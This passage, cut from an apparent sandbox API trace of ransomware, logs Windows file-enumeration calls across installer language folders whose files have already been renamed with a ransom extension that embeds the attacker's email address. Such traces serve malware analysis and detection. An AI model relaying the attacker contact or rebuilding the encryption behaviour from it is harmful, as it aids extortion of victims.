ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.849] FindClose (in: hFindFile=0x43a340 | out: hFindFile=0x43a340) returned 1 [0174.850] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.850] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5abb472, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5abb472, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0174.850] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.850] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5abb472, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5abb472, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a340 [0174.853] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5abb472, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5abb472, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.853] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc4855f46, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc4855f46, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5a6d7d5, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.853] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5a6d7d5, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5a6d7d5, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5a938e2, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.853] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e00f52, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e00f52, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e00f52, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.853] FindNextFileW (in: hFindFile=0x43a340, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e00f52, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e00f52, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e00f52, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.853] FindClose (in: hFindFile=0x43a340 | out: hFindFile=0x43a340) returned 1 [0174.854] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.854] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc56f049d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56f049d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0174.854] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.854] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc56f049d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56f049d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0174.960] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc56f049d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56f049d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.960] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc56a4066, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc56a4066, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56ca1e9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.960] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc56ca1e9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc56ca1e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56f049d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.960] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e00f52, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e00f52, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e27031, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.960] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5e00f52, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5e00f52, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5e27031, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.960] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0174.961] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.961] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc580b023, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc580b023, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0174.961] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.961] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc580b023, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc580b023, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0174.963] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc580b023, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc580b023, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.963] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc56f049d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc56f049d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57a007b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.964] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57e4d6d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57e4d6d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57e4d6d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.964] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc63f6df7, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc63f6df7, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc63f6df7, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.964] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc63f6df7, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc63f6df7, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc63f6df7, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.964] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0174.965] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.965] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b2c29f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b2c29f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0174.965] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.965] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b2c29f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b2c29f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0174.967] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b2c29f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b2c29f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.967] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57b73e9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57b73e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57be8b1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.967] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc57e4d6d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc57e4d6d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b0601d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.967] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc641cf2a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc641cf2a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc641cf2a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.967] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc641cf2a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc641cf2a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc641cf2a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.967] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0174.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.968] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b0601d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b0601d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0174.968] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.968] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b0601d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b0601d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0174.977] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5b0601d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5b0601d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.977] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5a938e2, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5a938e2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5abb472, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.977] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5abb472, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5abb472, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5aec209, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.977] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc64440e0, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc64440e0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a38fc8, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.977] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc64440e0, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc64440e0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a38fc8, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 0 [0174.977] FindClose (in: hFindFile=0x43a3c0 | out: hFindFile=0x43a3c0) returned 1 [0174.978] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0174.978] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5ddacff, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0174.978] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cc0080 [0174.978] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5ddacff, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x43a3c0 [0174.980] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xc5ddacff, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5ddacff, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.980] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5d8e94b, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5d8e94b, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5d8e94b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0174.980] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc5db4b4f, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc5db4b4f, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc5db4b4f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0174.981] FindNextFileW (in: hFindFile=0x43a3c0, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6a38fc8, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6a38fc8, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc6a5f160, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPR~1.KR")) returned 1 [0174.981] FindNextFileW (in: hFindFile=0x43a3c0, 